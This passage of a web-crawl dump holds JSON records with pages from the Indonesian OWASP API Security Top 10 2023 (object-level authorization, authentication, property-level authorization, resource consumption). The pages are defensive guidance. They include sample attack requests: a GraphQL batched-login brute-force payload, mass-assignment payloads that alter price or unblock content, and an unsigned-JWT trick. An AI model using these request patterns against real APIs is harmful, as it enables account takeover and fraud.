dipertimbangkan di setiap fungsi yang mengakses sumber data menggunakan ID pengguna. |\n| [API2:2023 - Otentikasi yang Rusak](../0xa2-broken-authentication/) | Mekanisme otentikasi seringkali tidak diimplementasikan dengan tepat, hal ini memungkinkan penyerang untuk mengambil token otentikasi atau mengeksploitasi celah implementasi untuk mengambil identitas user lain secara sementara atau permanen. Membahayakan kemampuan sistem untuk mengeidentifikasi klien/pengguna, membahayakan keseluruhan keamanan API. |\n| [API3:2023 - Otorisasi Tingkat Properti Objek yang Rusak](../0xa3-broken-object-property-level-authorization/) | Kategori ini menggabungkan [API3:2019 Pengungkapan Data Berlebihan](https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/) dan [API6:2019 - Penugasan Massal](https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/), berfokus pada akar masalah: tidak adanya atau tidak tepatnya validasi otorisasi pada tingkat properti obyek. Hal ini berakibat pengungkapan atau manipulasi informasi oleh pihak yang tidak berwenang. |\n| [API4:2023 - Konsumsi Sumber Daya yang Tidak Terbatas](../0xa4-unrestricted-resource-consumption/) | Pemenuhan permintaan API membutuhkan sumber daya seperti lebar pita jaringan, CPU, memori, dan penyimpanan. Sumber daya lain seperti email/SMS/panggilan telpon atau validasi biometrik disediakan oleh para penyelenggara melalui integrasi API, dan dibayar berdasarkan jumlah permintaan. Serangan yang berhasil dapat menyebabkan Denial of Service atau meningkatnya biaya operasional. |\n| [API5:2023 - Otorisasi Tingkat Fungsi yang Rusak](../0xa5-broken-function-level-authorization/) | Kebijakan kendali akses yang kompleks dengan hierarki, kelompok, dan peran yang berbeda, serta tidak jelasnya pemisahan fungsi administratif dan reguler, cenderung mengakibatkan terjadinya celah otorisasi. Dengan mengeksploitasi isu ini, penyerang dapat memperoleh akses ke sumber daya dan/atau fungsi administratif pengguna lain. |\n| [API6:2023 - Akses Tanpa Batas ke Aliran Bisnis Sensitif](../0xa6-unrestricted-access-to-sensitive-business-flows/) | API yang rentan terhadap risiko ini memaparkan alur bisnis - seperti membeli tiket, atau memberikan komentar - tanpa mengkompensasi bagaimana fungsionalitas tersebut dapat membahayakan bisnis bila digunakan secara berlebihan dengan menggunakan cara yang terotomatisasi. Hal ini tidak berarti disebabkan oleh kesalahan implementasi. |\n| [API7:2023 - Pemalsuan Permintaan Sisi Server](../0xa7-server-side-request-forgery/) | Celah Pemalsuan Permintaan Sisi Server (Server-Side Request Forgery - SSRF) dapat terjadi ketika API mengambil sumber daya jauh tanpa memvalidasi URI yang diberikan pengguna. Hal ini memungkinan penyerang memaksa aplikasi untuk mengirimkan permintaan ke tujuan yang tidak terduga, bahkan bila dilindungi oleh firewall atau VPN. |\n| [API8:2023 - Miskonfigurasi Keamanan](../0xa8-security-misconfiguration/) | API dan sistem yang mendukung mereka biasanya berisikan konfigurasi yang kompleks, yang dimaksudkan untuk mempermudah penyesuaian API. Insinyur Software and DevOps dapat melewatkan konfigurasi ini, atau tidak mengikuti praktek keamanan terbaik, membuka pintu bagi beragam jenis serangan. |\n| [API9:2023 - Pengelolaan Inventaris yang Tidak Tepat](../0xa9-improper-inventory-management/) | API cenderung memaparkan lebih banyak titik akhir dibandingkan aplikasi web tradisional, membuat dokumentasi yang tepat dan terkini menjadi sangat penting. Inventori yang tepat mengenai host dan versi API yang diterapkan juga penting untuk memitigasi isu seperti API yang tidak lagi digunakan dan terbukanya titik akhir debug. |\n| [API10:2023 - Konsumsi API yang Tidak Aman](../0xaa-unsafe-consumption-of-apis/) | Pengembang software cenderung mempercayai data yang diterima dari API pihak ketiga daripada input pengguna, dan akibatnya cenderung mengadopsi standar keamanan yang lebih lemah. Dalam rangka membahayakan API, penyerang mentargetkan layanan pihak ketiga alih-alih berusaha menyerang target API secara langsung. |", "znaku_textu": 4353, "slov": 522, "odkazu": 58, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:58:28", "sha256": "82830e7126a274ca5cafca112a30bcbd2cd90cdec8934fb61365fbcedb1f2417", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/id/0xa1-broken-object-level-authorization/", "titulek": "API1:2023 Otorisasi Level Obyek yang Rusak - OWASP API Security Top 10", "h1": "API1:2023 Otorisasi Level Obyek yang Rusak", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/id/0xa1-broken-object-level-authorization/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API1:2023 Otorisasi Level Obyek yang Rusak"}, {"uroven": 2, "text": "Apakah API Rentan?"}, {"uroven": 2, "text": "Skenario Serangan Contoh"}, {"uroven": 3, "text": "Skenario #1"}, {"uroven": 3, "text": "Skenario #2"}, {"uroven": 3, "text": "Skenario #3"}, {"uroven": 2, "text": "Cara Mencegah"}, {"uroven": 2, "text": "Referensi"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Eksternal"}], "markdown": "# API1:2023 Otorisasi Level Obyek yang Rusak\n\n| Agen ancaman/Vektor serangan | Kelemahan Keamanan | Dampak |\n| --- | --- | --- |\n| Khusus API: **Mudah** dieksploitasi | **Luas** Prevalensi: **Mudah** Terdeteksi | **Sedang** Teknis: Spesifik Bisnis |\n| Penyerang dapat mengeksploitasi endpoint API yang rentan terhadap otorisasi level obyek yang rusak dengan memanipulasi ID obyek yang dikirim dalam permintaan. ID obyek bisa apa saja dari integer sekuensial, UUID, atau string generik. Terlepas dari tipe datanya, mereka mudah diidentifikasi dalam target permintaan (parameter path atau query string), header permintaan, atau bahkan sebagai bagian dari payload permintaan. | Masalah ini sangat umum dalam aplikasi berbasis API karena komponen server biasanya tidak sepenuhnya melacak keadaan klien, dan sebaliknya, lebih mengandalkan parameter seperti ID obyek, yang dikirim dari klien untuk memutuskan obyek mana yang akan diakses. Respons server biasanya cukup untuk mengetahui apakah permintaan berhasil. | Akses tanpa otorisasi ke obyek pengguna lain dapat mengakibatkan pengungkapan data ke pihak yang tidak berwenang, kehilangan data, atau manipulasi data. Dalam keadaan tertentu, akses tanpa otorisasi ke obyek juga dapat mengarah pada pengambilalihan akun total. |\n\n## Apakah API Rentan?\n\nOtorisasi level obyek adalah mekanisme kendali akses yang biasanya diimplementasikan di level kode untuk memvalidasi bahwa pengguna hanya dapat mengakses obyek yang seharusnya mereka miliki izin untuk mengaksesnya.\n\nSetiap endpoint API yang menerima ID obyek, dan melakukan tindakan apa pun pada obyek, harus menerapkan pemeriksaan otorisasi level obyek. Pemeriksaan tersebut harus memvalidasi bahwa pengguna yang login memiliki izin untuk melakukan tindakan yang diminta pada obyek yang diminta.\n\nKegagalan dalam mekanisme ini biasanya mengarah pada pengungkapan informasi yang tidak sah, modifikasi, atau penghancuran semua data.\n\nMembandingkan ID pengguna sesi saat ini (misalnya dengan mengekstraknya dari token JWT) dengan parameter ID rentan bukanlah solusi yang memadai untuk menyelesaikan Otorisasi Level obyek yang Rusak (BOLA). Pendekatan ini hanya bisa mengatasi sebagian kecil kasus.\n\nDalam kasus BOLA, memang dirancang bahwa pengguna akan memiliki akses ke endpoint/fungsi API yang rentan. Pelanggaran terjadi pada level obyek, dengan memanipulasi ID. Jika penyerang berhasil mengakses endpoint/fungsi API yang seharusnya tidak mereka akses - ini adalah kasus [Otorisasi Tingkat Fungsi yang Rusak](../0xa5-broken-function-level-authorization/) (BFLA) daripada BOLA.\n\n## Skenario Serangan Contoh\n\n### Skenario #1\n\nSebuah platform e-commerce untuk toko online (toko) menyediakan sebuah halaman berisi grafik pendapatan toko yang di-hosting. Dengan memeriksa permintaan browser, seorang penyerang dapat mengidentifikasi endpoint API yang digunakan sebagai sumber data untuk grafik tersebut dan polanya: `/shops/{shopName}/revenue_data.json`. Menggunakan endpoint API lainnya, penyerang dapat memperoleh daftar semua nama toko yang di-hosting. Dengan skrip sederhana untuk memanipulasi nama dalam daftar, mengganti `{shopName}` dalam URL, penyerang mendapatkan akses ke data penjualan ribuan toko e-commerce.\n\n### Skenario #2\n\nSebuah produsen otomotif telah mengaktifkan kendali jarak jauh kendaraannya melalui API seluler untuk berkomunikasi dengan ponsel pengemudi. API memungkinkan pengemudi untuk memulai dan menghentikan mesin dan mengunci serta membuka kunci pintu dari jarak jauh. Sebagai bagian dari alur ini, pengguna mengirim Nomor Identifikasi Kendaraan (VIN) ke API.\nAPI gagal memvalidasi bahwa VIN mewakili kendaraan yang dimiliki pengguna yang login, yang menyebabkan kerentanan BOLA. Seorang penyerang dapat mengakses kendaraan yang bukan miliknya.\n\n### Skenario #3\n\nLayanan penyimpanan dokumen online memungkinkan pengguna untuk melihat, mengedit, menyimpan, dan menghapus dokumen mereka. Ketika dokumen pengguna dihapus, sebuah mutasi GraphQL dengan ID dokumen dikirim ke API.\n\n```\nPOST /graphql\n{\n \"operationName\":\"deleteReports\",\n \"variables\":{\n \"reportKeys\":[\"\"]\n },\n \"query\":\"mutation deleteReports($siteId: ID!, $reportKeys: [String]!) {\n {\n deleteReports(reportKeys: $reportKeys)\n }\n }\"\n}\n```\n\nKarena dokumen dengan ID yang diberikan dihapus tanpa pemeriksaan izin lebih lanjut, pengguna mungkin dapat menghapus dokumen pengguna lain.\n\n## Cara Mencegah\n\n- Terapkan mekanisme otorisasi yang tepat yang mengandalkan kebijakan dan hierarki pengguna.\n- Gunakan mekanisme otorisasi untuk memeriksa apakah pengguna yang login memiliki akses untuk melakukan tindakan yang diminta pada catatan di setiap fungsi yang menggunakan input dari klien untuk mengakses catatan di basis data.\n- Sebaiknya gunakan nilai acak dan tidak terduga sebagai GUID untuk ID catatan.\n- Tulis tes untuk mengevaluasi kerentanan mekanisme otorisasi. Jangan terapkan perubahan yang membuat tes gagal.\n\n## Referensi\n\n### OWASP\n\n- [Cheat Sheet Otorisasi](https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html)\n- [Cheat Sheet Otomatisasi Pengujian Otorisasi](https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Testing_Automation_Cheat_Sheet.html)\n\n### Eksternal\n\n- [CWE-285: Otorisasi Tidak Tepat](https://cwe.mitre.org/data/definitions/285.html)\n- [CWE-639: Otorisasi yang Dilewati Melalui Kunci yang Dikendalikan Pengguna](https://cwe.mitre.org/data/definitions/639.html)", "znaku_textu": 5294, "slov": 653, "odkazu": 69, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:58:40", "sha256": "d6fdb7f9a33a97c5a695fb228fcaf65accfac9619dd4abf802c43bcda9fcb260", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Testing_Automation_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/285.html", "https://cwe.mitre.org/data/definitions/639.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/id/0xa2-broken-authentication/", "titulek": "API2:2023 Autentikasi yang Rusak - OWASP API Security Top 10", "h1": "API2:2023 Autentikasi yang Rusak", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/id/0xa2-broken-authentication/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API2:2023 Autentikasi yang Rusak"}, {"uroven": 2, "text": "Apakah API Rentan?"}, {"uroven": 2, "text": "Skenario Serangan Contoh"}, {"uroven": 2, "text": "Skenario #1"}, {"uroven": 2, "text": "Skenario #2"}, {"uroven": 2, "text": "Cara Mencegah"}, {"uroven": 2, "text": "Referensi"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Eksternal"}], "markdown": "# API2:2023 Autentikasi yang Rusak\n\n| Agen ancaman/Vektor serangan | Kelemahan Keamanan | Dampak |\n| --- | --- | --- |\n| Khusus API: **Mudah** dieksploitasi | **Umum** Prevalensi: **Mudah** Terdeteksi | **Parah** Teknis: Spesifik Bisnis |\n| Mekanisme autentikasi adalah target yang mudah bagi penyerang karena terpapar ke semua orang. Meskipun keterampilan teknis yang lebih tinggi mungkin dibutuhkan untuk mengeksploitasi beberapa masalah autentikasi, alat eksploitasi umumnya tersedia. | Kesalahpahaman insinyur perangkat lunak dan keamanan mengenai batasan autentikasi dan kerumitan implementasi bawaan menjadikan masalah autentikasi hal yang lazim. Metodologi untuk mendeteksi autentikasi yang rusak tersedia dan mudah dibuat. | Penyerang dapat memperoleh kendali penuh atas akun pengguna lain dalam sistem, membaca data pribadi mereka, dan melakukan tindakan sensitif atas nama mereka. Sistem kemungkinan besar tidak dapat membedakan tindakan penyerang dari tindakan pengguna yang sah. |\n\n## Apakah API Rentan?\n\nEndpoint dan alur autentikasi adalah aset yang perlu dilindungi. Selain itu, \"Lupa kata sandi / reset kata sandi\" harus diperlakukan sama dengan mekanisme autentikasi.\n\nSebuah API rentan bila:\n\n- Mengizinkan credential stuffing ketika penyerang menggunakan brute force dengan daftar nama pengguna dan kata sandi yang valid.\n- Mengizinkan penyerang melakukan serangan brute force pada akun pengguna yang sama, tanpa menyajikan mekanisme captcha/penguncian akun.\n- Mengizinkan kata sandi yang lemah.\n- Mengirim detail autentikasi sensitif, seperti token auth dan kata sandi di URL.\n- Memungkinkan pengguna merubah alamat email mereka, kata sandi saat ini, atau melakukan operasi sensitif lainnya tanpa meminta konfirmasi kata sandi.\n- Tidak memvalidasi keaslian token.\n- Menerima token JWT yang tidak ditandatangani/lemah ditandatangani ( `{\"alg\":\"none\"}` )\n- Tidak memvalidasi tanggal kadaluwarsa JWT.\n- Menggunakan kata sandi teks biasa, tidak dienkripsi, atau menggunakan hash yang lemah.\n- Menggunakan kunci enkripsi yang lemah.\n\nSelain itu, mikroservis itu rentan jika:\n\n- Mikroservis lain dapat mengaksesnya tanpa otentikasi\n- Menggunakan token lemah atau dapat diprediksi untuk memastikan otentikasi\n\n## Skenario Serangan Contoh\n\n## Skenario #1\n\nUntuk melakukan autentikasi pengguna, klien harus mengirimkan permintaan API seperti di bawah ini dengan kredensial pengguna:\n\n```\nPOST /graphql\n{\n \"query\":\"mutation {\n login (username:\\\"\\\",password:\\\"\\\") {\n token\n }\n }\"\n}\n```\n\nJika kredensial valid, lalu token auth akan dikembalikan yang harus diberikan dalam permintaan berikutnya untuk mengidentifikasi pengguna. Upaya login dibatasi dengan pembatasan laju yang ketat: hanya tiga permintaan yang diizinkan per menit.\n\nUntuk melakukan brute force login dengan akun korban, aktor jahat memanfaatkan query batching GraphQL untuk mengatasi pembatasan tingkat permintaan, mempercepat serangan:\n\n```\nPOST /graphql\n[\n {\"query\":\"mutation{login(username:\\\"victim\\\",password:\\\"password\\\"){token}}\"},\n {\"query\":\"mutation{login(username:\\\"victim\\\",password:\\\"123456\\\"){token}}\"},\n {\"query\":\"mutation{login(username:\\\"victim\\\",password:\\\"qwerty\\\"){token}}\"},\n ...\n {\"query\":\"mutation{login(username:\\\"victim\\\",password:\\\"123\\\"){token}}\"}, \n]\n```\n\n## Skenario #2\n\nUntuk memperbarui alamat email yang terkait dengan akun pengguna, klien harus mengirimkan permintaan API seperti berikut ini:\n\n```\nPUT /account\nAuthorization: Bearer \n\n{ \"email\": \"\" }\n```\n\nKarena API tidak mengharuskan pengguna untuk mengkonfirmasi identitas mereka dengan memberikan kata sandi saat ini, aktor jahat yang mampu menempatkan diri dalam posisi untuk mencuri token auth mungkin dapat mengambil alih akun korban dengan memulai alur kerja reset kata sandi setelah memperbarui alamat email akun korban.\n\n## Cara Mencegah\n\n- Pastikan Anda mengetahui semua alur kemungkinan untuk mengotentikasi API (mobile/web/tautan langsung yang mengimplementasikan otentikasi satu klik/dll.). Tanyakan pada insinyur Anda alur apa yang Anda lewatkan.\n- Bacalah tentang mekanisme autentikasi Anda. Pastikan Anda memahami apa dan bagaimana mereka digunakan. OAuth bukan otentikasi, dan demikian pula kunci API.\n- Jangan menciptakan ulang dalam otentikasi, pembuatan token, atau penyimpanan kata sandi. Gunakan standar.\n- Endpoint pemulihan kredensial/lupa kata sandi harus diperlakukan seperti endpoint login dalam hal brute force, pembatasan tingkat, dan perlindungan penguncian.\n- Haruskan otentikasi ulang untuk operasi sensitif (misalnya mengubah alamat email pemilik akun/nomor telepon 2FA).\n- Gunakan [Cheat Sheet Autentikasi OWASP](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html) .\n- Jika memungkinkan, terapkan otentikasi multifaktor.\n- Terapkan mekanisme anti-brute force untuk memitigasi credential stuffing, serangan kamus, dan serangan brute force pada endpoint otentikasi Anda. Mekanisme ini harus lebih ketat dari mekanisme pembatasan tingkat biasa pada API Anda.\n- Implementasikan mekanisme penguncian akun/captcha untuk mencegah serangan brute force terhadap pengguna tertentu. Terapkan pemeriksaan kata sandi lemah.\n- Kunci API tidak boleh digunakan untuk otentikasi pengguna. Mereka hanya boleh digunakan untuk otentikasi [klien API](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/03-Testing_for_Weak_Lock_Out_Mechanism(OTG-AUTHN-003)) .\n\n## Referensi\n\n### OWASP\n\n- [Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)\n- [Key Management Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Key_Management_Cheat_Sheet.html)\n- [Credential Stuffing](https://owasp.org/www-community/attacks/Credential_stuffing)\n\n### Eksternal\n\n- [CWE-204: Observable Response Discrepancy](https://cwe.mitre.org/data/definitions/204.html)\n- [CWE-307: Improper Restriction of Excessive Authentication Attempts](https://cwe.mitre.org/data/definitions/307.html)", "znaku_textu": 5897, "slov": 653, "odkazu": 70, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 23:46:58", "sha256": "f1ee382e2c6bf7a5f1ea92549f6aae27ed182af31691cbff2d4ba149cfb4ea2f", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Key_Management_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/204.html", "https://cwe.mitre.org/data/definitions/307.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/id/0xa3-broken-object-property-level-authorization/", "titulek": "API3:2023 Otorisasi Tingkat Properti Obyek yang Rusak - OWASP API Security Top 10", "h1": "API3:2023 Otorisasi Tingkat Properti Obyek yang Rusak", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/id/0xa3-broken-object-property-level-authorization/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API3:2023 Otorisasi Tingkat Properti Obyek yang Rusak"}, {"uroven": 2, "text": "Apakah API Rentan?"}, {"uroven": 2, "text": "Skenario Serangan Contoh"}, {"uroven": 3, "text": "Skenario #1"}, {"uroven": 3, "text": "Skenario #2"}, {"uroven": 3, "text": "Skenario #3"}, {"uroven": 2, "text": "Cara Mencegah"}, {"uroven": 2, "text": "Referensi"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Eksternal"}], "markdown": "# API3:2023 Otorisasi Tingkat Properti Obyek yang Rusak\n\n| Agen ancaman/Vektor serangan | Kelemahan Keamanan | Dampak |\n| --- | --- | --- |\n| Khusus API: **Mudah** dieksploitasi | **Umum** Prevalensi: **Mudah** Terdeteksi | **Sedang** Teknis: Spesifik Bisnis |\n| API cenderung mengekspos endpoint yang mengembalikan semua properti obyek. Hal ini khususnya berlaku untuk API REST. Untuk protokol lain seperti GraphQL, mungkin memerlukan permintaan yang dibuat untuk menentukan properti mana yang harus dikembalikan. Mengidentifikasi properti tambahan ini yang dapat dimanipulasi memerlukan lebih banyak upaya, tetapi ada beberapa alat otomatis yang tersedia untuk membantu tugas ini. | Memeriksa respons API sudah cukup untuk mengidentifikasi informasi sensitif dalam representasi obyek yang dikembalikan. Fuzzing biasanya digunakan untuk mengidentifikasi properti tambahan (tersembunyi). Apakah mereka dapat diubah adalah masalah pembuatan permintaan API dan menganalisis respons. Analisis efek samping mungkin diperlukan jika properti target tidak dikembalikan dalam respons API. | Akses tanpa otorisasi ke properti obyek privat/sensitif dapat mengakibatkan pengungkapan data, kehilangan data, atau kerusakan data. Dalam keadaan tertentu, akses tanpa otorisasi ke properti obyek dapat mengarah ke eskalasi hak istimewa atau pengambilalihan akun parsial/total. |\n\n## Apakah API Rentan?\n\nKetika mengizinkan pengguna mengakses obyek menggunakan endpoint API, penting untuk memvalidasi bahwa pengguna memiliki akses ke properti obyek tertentu yang mereka coba akses.\n\nSebuah endpoint API rentan jika:\n\n- Endpoint API memaparkan properti obyek yang dianggap sensitif dan tidak boleh dibaca oleh pengguna. (sebelumnya bernama: \" [Paparan Data Berlebihan](https://owasp.org/API-Security/editions/2019/id/0xa3-excessive-data-exposure/) \")\n- Endpoint API memungkinkan pengguna untuk mengubah, menambah/atau menghapus nilai properti obyek sensitif yang seharusnya tidak dapat diakses pengguna (sebelumnya bernama: \" [Penugasan Massal](https://owasp.org/API-Security/editions/2019/id/0xa6-mass-assignment/) \")\n\n## Skenario Serangan Contoh\n\n### Skenario #1\n\nSebuah aplikasi kencan memungkinkan pengguna melaporkan pengguna lain karena perilaku yang tidak pantas. Sebagai bagian dari alur ini, pengguna mengklik tombol \"laporkan\", dan memicu panggilan API berikut:\n\n```\nPOST /graphql\n{\n \"operationName\":\"reportUser\",\n \"variables\":{\n \"userId\": 313,\n \"reason\":[\"offensive behavior\"]\n },\n \"query\":\"mutation reportUser($userId: ID!, $reason: String!) {\n reportUser(userId: $userId, reason: $reason) {\n status\n message\n reportedUser {\n id\n fullName\n recentLocation\n }\n }\n }\"\n}\n```\n\nEndpoint API rentan karena memungkinkan pengguna terotentikasi memiliki akses ke properti obyek pengguna sensitif yang dilaporkan, seperti \"fullName\" dan \"recentLocation\" yang seharusnya tidak diakses oleh pengguna lain.\n\n### Skenario #2\n\nSebuah platform marketplace online, yang menawarkan satu jenis pengguna (\"host\") untuk menyewakan apartemen mereka ke jenis pengguna lain (\"tamu\"), mensyaratkan host untuk menerima pemesanan yang dibuat oleh tamu, sebelum membebankan biaya kepada tamu untuk menginap.\n\nSebagai bagian alur ini, sebuah panggilan API dikirim oleh host ke `POST /api/host/approve_booking` dengan payload sah berikut ini:\n\n```\n{\n \"approved\": true,\n \"comment\": \"Check-in setelah pukul 3 sore\" \n}\n```\n\nHost mengirimkan ulan permintaan yang sah, dan menambahkan payload berbahaya berikut:\n\n```\n{\n \"approved\": true, \n \"comment\": \"Check-in setelah pukul 3 sore\",\n \"total_stay_price\": \"$1,000,000\"\n}\n```\n\nEndpoint API rentan karena tidak ada validasi bahwa host harus memiliki akses ke properti obyek internal - `total_stay_price`, dan tamu akan dikenakan biaya lebih dari yang seharusnya.\n\n### Skenario #3\n\nSebuah jejaring sosial yang didasarkan pada video pendek, menerapkan filter konten yang membatasi dan sensor yang ketat. Bahkan jika video yang diunggah diblokir, pengguna dapat mengubah deskripsi video menggunakan permintaan API berikut:\n\n```\nPUT /api/video/update_video\n\n{\n \"description\": \"video lucu tentang kucing\" \n}\n```\n\nPengguna yang frustrasi dapat mengirimkan ulang permintaan yang sah, dan menambahkan payload berbahaya berikut:\n\n```\n{\n \"description\": \"video lucu tentang kucing\",\n \"blocked\": false \n}\n```\n\nEndpoint API rentan karena tidak ada validasi apakah pengguna seharusnya memiliki akses ke properti obyek internal - `blocked`, dan pengguna dapat mengubah nilai dari `true` ke `false` dan membuka blokir konten mereka sendiri.\n\n## Cara Mencegah\n\n- Saat memaparkan obyek menggunakan endpoint API, selalu pastikan bahwa pengguna harus memiliki akses ke properti obyek yang Anda paparkan.\n- Hindari menggunakan metode generik seperti `to_json()` dan `to_string()` . Sebaliknya, pilih properti obyek tertentu yang ingin Anda kembalikan.\n- Jika memungkinkan, hindari menggunakan fungsi yang secara otomatis mengikat input klien ke dalam variabel kode, obyek internal, atau properti obyek (\"Penugasan Massal\").\n- Izinkan perubahan hanya pada properti obyek yang seharusnya diperbarui oleh klien.\n- Terapkan mekanisme validasi respons berbasis skema sebagai lapisan keamanan tambahan. Sebagai bagian dari mekanisme ini, tentukan dan paksakan data yang dikembalikan oleh semua metode API.\n- Pertahankan struktur data yang dikembalikan seminimal mungkin, sesuai persyaratan bisnis/fungsional untuk endpoint tersebut.\n\n## Referensi\n\n### OWASP\n\n- [API3:2019 Paparan Data Berlebihan - OWASP API Security Top 10 2019](https://owasp.org/API-Security/editions/2019/id/0xa3-excessive-data-exposure/)\n- [API6:2019 - Penugasan Massal - OWASP API Security Top 10 2019](https://owasp.org/API-Security/editions/2019/id/0xa6-mass-assignment/)\n- [Cheat Sheet Penugasan Massal](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html)\n\n### Eksternal\n\n- [CWE-213: Pengungkapan Informasi Sensitif karena Kebijakan yang Tidak Kompatibel](https://cwe.mitre.org/data/definitions/213.html)\n- [CWE-915: Modifikasi Atribut Objek yang Ditentukan Secara Dinamis yang Tidak Terkendali dengan Benar](https://cwe.mitre.org/data/definitions/915.html)", "znaku_textu": 5972, "slov": 719, "odkazu": 70, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 23:47:11", "sha256": "bcf8df10c723676295fc92c241f7bc3bdb6b32262c2fb8e97b3987844b13d36c", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/213.html", "https://cwe.mitre.org/data/definitions/915.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/id/0xa4-unrestricted-resource-consumption/", "titulek": "API4:2023 Konsumsi Sumber Daya yang Tidak Dibatasi - OWASP API Security Top 10", "h1": "API4:2023 Konsumsi Sumber Daya yang Tidak Dibatasi", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/id/0xa4-unrestricted-resource-consumption/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API4:2023 Konsumsi Sumber Daya yang Tidak Dibatasi"}, {"uroven": 2, "text": "Apakah API Rentan?"}, {"uroven": 2, "text": "Skenario Serangan Contoh"}, {"uroven": 3, "text": "Skenario #1"}, {"uroven": 3, "text": "Skenario #2"}, {"uroven": 3, "text": "Skenario #3"}, {"uroven": 2, "text": "Cara Mencegah"}, {"uroven": 2, "text": "Referensi"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Eksternal"}], "markdown": "# API4:2023 Konsumsi Sumber Daya yang Tidak Dibatasi\n\n| Agen ancaman/Vektor serangan | Kelemahan Keamanan | Dampak |\n| --- | --- | --- |\n| Khusus API: **Rata-rata** dieksploitasi | **Luas** Prevalensi: **Mudah** Terdeteksi | **Parah** Teknis: Spesifik Bisnis |\n| Eksploitasi membutuhkan permintaan API sederhana. Beberapa permintaan serentak dapat dilakukan dari satu komputer lokal atau dengan menggunakan sumber daya komputasi cloud. Sebagian besar alat otomatis yang tersedia dirancang untuk menyebabkan DoS melalui beban lalu lintas tinggi, yang berdampak pada tingkat layanan API. | Umum ditemukan API yang tidak membatasi interaksi atau konsumsi sumber daya klien. Permintaan API yang dibuat, seperti yang mencakup parameter yang mengendalikan jumlah sumber daya yang akan dikembalikan dan melakukan analisis status/waktu/panjang respons seharusnya memungkinkan identifikasi masalah. Hal yang sama berlaku untuk operasi batch. Meskipun agen ancaman tidak memiliki visibilitas atas dampak biaya, ini dapat disimpulkan berdasarkan model bisnis/harga penyedia layanan (misalnya penyedia cloud). | Eksploitasi dapat menyebabkan DoS karena kekurangan sumber daya, tetapi juga dapat menyebabkan peningkatan biaya operasional seperti yang terkait dengan infrastruktur karena permintaan CPU yang lebih tinggi, peningkatan kebutuhan penyimpanan cloud, dll. |\n\n## Apakah API Rentan?\n\nMemenuhi permintaan API memerlukan sumber daya seperti bandwidth jaringan, CPU, memori, dan penyimpanan. Terkadang sumber daya yang diperlukan disediakan oleh penyedia layanan melalui integrasi API, dan dibayar berdasarkan permintaan, seperti mengirim email/SMS/panggilan telepon, validasi biometrik, dll.\n\nAPI rentan jika setidaknya salah satu batasan berikut hilang atau diatur dengan tidak tepat (misalnya terlalu rendah/tinggi):\n\n- Batas waktu eksekusi\n- Memori maksimum yang dapat dialokasikan\n- Jumlah maksimum deskriptor file\n- Jumlah proses maksimum\n- Ukuran file unggah maksimum\n- Jumlah operasi untuk dilakukan dalam satu permintaan klien API (misalnya penyuntingan batch 